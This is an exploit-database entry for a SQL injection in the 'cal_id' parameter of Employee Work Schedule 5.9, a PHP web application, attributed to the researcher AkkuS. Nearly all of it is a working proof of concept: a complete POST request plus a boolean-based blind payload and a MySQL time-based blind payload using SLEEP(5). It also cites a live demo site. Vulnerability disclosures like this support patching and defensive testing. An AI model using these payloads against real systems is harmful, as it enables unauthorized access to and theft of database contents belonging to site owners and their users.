Employee Work Schedule 5.9 - (cal_id) SQL Injection Vulnerability

ID 1337DAY-ID-30498
Type zdt
Reporter AkkuS
Modified 2018-05-29T00:00:00


Exploit for php platform in category web applications

                                            # Exploit Title: EWS 5.9 - 'search' SQL Injection
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/employee-work-schedule-multicalendar/10545683
# Version: 5.9
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands
from the search section with 'cal_id' parameter.
# Demo : http://paulthedutchman.nl/ews/
# PoC : SQLi :
POST /ews/?action=search HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://test.com/ews/
Cookie: PHPSESSID=pss9q96b0v9ja9m35hc8s2hod4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Parameter: cal_id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sq=test&cal_id=11,90,199,208) AND 4528=4528 AND (1723=1723
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: sq=test&cal_id=11,90,199,208) AND SLEEP(5) AND (8958=8958

#  0day.today [2018-05-30]  #